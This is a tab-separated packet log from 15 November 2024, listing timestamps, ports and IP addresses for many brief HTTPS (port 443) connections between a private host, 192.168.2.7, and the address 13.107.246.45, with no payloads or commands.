Nov 15, 2024 13:18:47.200932026 CET	443	49871	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.200993061 CET	49871	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.201355934 CET	49871	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.201375961 CET	443	49871	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.205583096 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.205627918 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.205702066 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.205913067 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.205929041 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.235081911 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.235150099 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.235167027 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.235178947 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.235207081 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.235224009 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.298855066 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.298923969 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.298964024 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.298980951 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.299009085 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.299027920 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.356156111 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.356223106 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.356249094 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.356265068 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.356278896 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.356375933 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.356420040 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.356635094 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.356648922 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.366966963 CET	443	49886	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.367623091 CET	49886	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.367636919 CET	443	49886	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.368175983 CET	49886	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.368181944 CET	443	49886	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.522409916 CET	443	49886	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.522840977 CET	443	49886	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.522895098 CET	443	49886	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.522948027 CET	49886	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.522996902 CET	49886	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.523010015 CET	443	49886	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.523024082 CET	49886	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.523029089 CET	443	49886	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.526248932 CET	49898	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.526300907 CET	443	49898	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.526381969 CET	49898	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.526623011 CET	49898	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.526635885 CET	443	49898	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.541014910 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.541675091 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.541714907 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.542175055 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.542182922 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.600878954 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.601670980 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.601691008 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.602190018 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.602195024 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.672954082 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.673033953 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.673129082 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.673404932 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.673425913 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.673449993 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.673456907 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.677047014 CET	49899	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.677094936 CET	443	49899	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.677321911 CET	49899	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.677541018 CET	49899	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.677556038 CET	443	49899	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.706305027 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.707154036 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.707180977 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.707814932 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.707818985 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.732812881 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.732908010 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.732994080 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.733016968 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.733036995 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.733139992 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.733164072 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.733181000 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.733194113 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.733198881 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.736782074 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.736840010 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.736975908 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.737231970 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.737250090 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.835040092 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.835542917 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.835602045 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.835706949 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.835724115 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.835733891 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.835740089 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.839473009 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.839514971 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.839585066 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.839795113 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.839809895 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.945699930 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.946338892 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.946361065 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.946902037 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.946906090 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.077244043 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.077310085 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.077373981 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.077683926 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.077689886 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.077702045 CET	49897	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.077706099 CET	443	49897	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.081120014 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.081140995 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.081208944 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.081363916 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.081374884 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.263670921 CET	443	49898	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.264553070 CET	49898	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.264575958 CET	443	49898	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.265314102 CET	49898	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.265320063 CET	443	49898	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.394536972 CET	443	49898	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.394612074 CET	443	49898	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.394814968 CET	49898	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.394933939 CET	49898	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.394949913 CET	443	49898	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.394959927 CET	49898	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.394965887 CET	443	49898	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.398541927 CET	49908	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.398572922 CET	443	49908	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.398737907 CET	49908	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.398914099 CET	49908	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.398927927 CET	443	49908	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.450984001 CET	443	49899	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.451771975 CET	49899	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.451797962 CET	443	49899	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.452285051 CET	49899	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.452290058 CET	443	49899	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.460350990 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.461138010 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.461162090 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.461575985 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.461584091 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.578778028 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.579405069 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.579430103 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.579953909 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.579960108 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.586590052 CET	443	49899	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.586663008 CET	443	49899	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.586867094 CET	49899	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.586970091 CET	49899	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.586970091 CET	49899	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.586988926 CET	443	49899	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.587001085 CET	443	49899	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.589955091 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.590035915 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.590100050 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.592668056 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.592689991 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.592701912 CET	49900	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.592709064 CET	443	49900	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.594546080 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.594571114 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.595141888 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.595302105 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.595316887 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.595483065 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.595518112 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.595612049 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.595755100 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.595768929 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.709796906 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.710016012 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.710141897 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.710310936 CET	49901	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.710328102 CET	443	49901	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.713612080 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.713658094 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.713816881 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.721101046 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.721116066 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.810024977 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.812849045 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.812891006 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.813620090 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.813633919 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.938904047 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.938983917 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.939109087 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.939403057 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.939403057 CET	49906	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:48.939420938 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:48.939434052 CET	443	49906	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.141412973 CET	443	49908	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.144335985 CET	49908	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.144360065 CET	443	49908	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.144839048 CET	49908	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.144844055 CET	443	49908	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.146845102 CET	49912	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.146891117 CET	443	49912	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.147214890 CET	49912	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.148067951 CET	49912	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.148087025 CET	443	49912	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.273943901 CET	443	49908	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.273998022 CET	443	49908	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.274058104 CET	49908	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.274063110 CET	443	49908	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.274116039 CET	49908	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.274485111 CET	49908	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.274503946 CET	443	49908	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.274513960 CET	49908	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.274518013 CET	443	49908	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.282270908 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.282310009 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.282387972 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.282567024 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.282584906 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.328546047 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.330051899 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.330065012 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.331079006 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.331084013 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.371742010 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.374758005 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.374777079 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.375646114 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.375652075 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.454811096 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.455368996 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.455399990 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.455876112 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.455882072 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.488218069 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.488356113 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.488413095 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.488600969 CET	49909	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.488616943 CET	443	49909	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.491895914 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.491946936 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.492260933 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.492441893 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.492455959 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.507672071 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.507750988 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.507987976 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.508023977 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.508038044 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.508047104 CET	49910	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.508052111 CET	443	49910	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.511231899 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.511284113 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.511359930 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.511569023 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.511584044 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.585716009 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.585783005 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.585870981 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.586143017 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.586174011 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.586194038 CET	49911	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.586199045 CET	443	49911	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.589262962 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.589329004 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:49.589461088 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.590256929 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:49.590270996 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:50.875587940 CET	443	49912	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:50.876234055 CET	49912	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:50.876266003 CET	443	49912	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:50.877281904 CET	49912	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:50.877288103 CET	443	49912	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.016218901 CET	443	49912	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.016242027 CET	443	49912	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.016289949 CET	443	49912	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.016324043 CET	49912	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.016370058 CET	49912	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.016845942 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.017118931 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.017499924 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.017514944 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.022094011 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.022131920 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.022600889 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.022608042 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.023046017 CET	49912	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.023057938 CET	443	49912	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.023065090 CET	49912	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.023070097 CET	443	49912	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.023330927 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.023372889 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.023842096 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.023852110 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.024868011 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.024883986 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.025610924 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.025619030 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.029918909 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.029930115 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.030764103 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.030782938 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.032968044 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.033004999 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.033180952 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.033432007 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.033440113 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.148592949 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.148618937 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.148664951 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.148680925 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.148713112 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.151279926 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.151309967 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.151355028 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.151366949 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.151469946 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.177233934 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.177268982 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.177287102 CET	49913	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.177294970 CET	443	49913	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.187478065 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.187648058 CET	443	49918	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.187822104 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.202088118 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.202147961 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.202225924 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.202316999 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.291582108 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.291609049 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.291629076 CET	49917	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.291639090 CET	443	49917	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.298732996 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.298738956 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.298748016 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.298752069 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:51.348741055 CET	49918	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:51.348771095 CET	443	49918	13.107.246.45	192.168.2.7
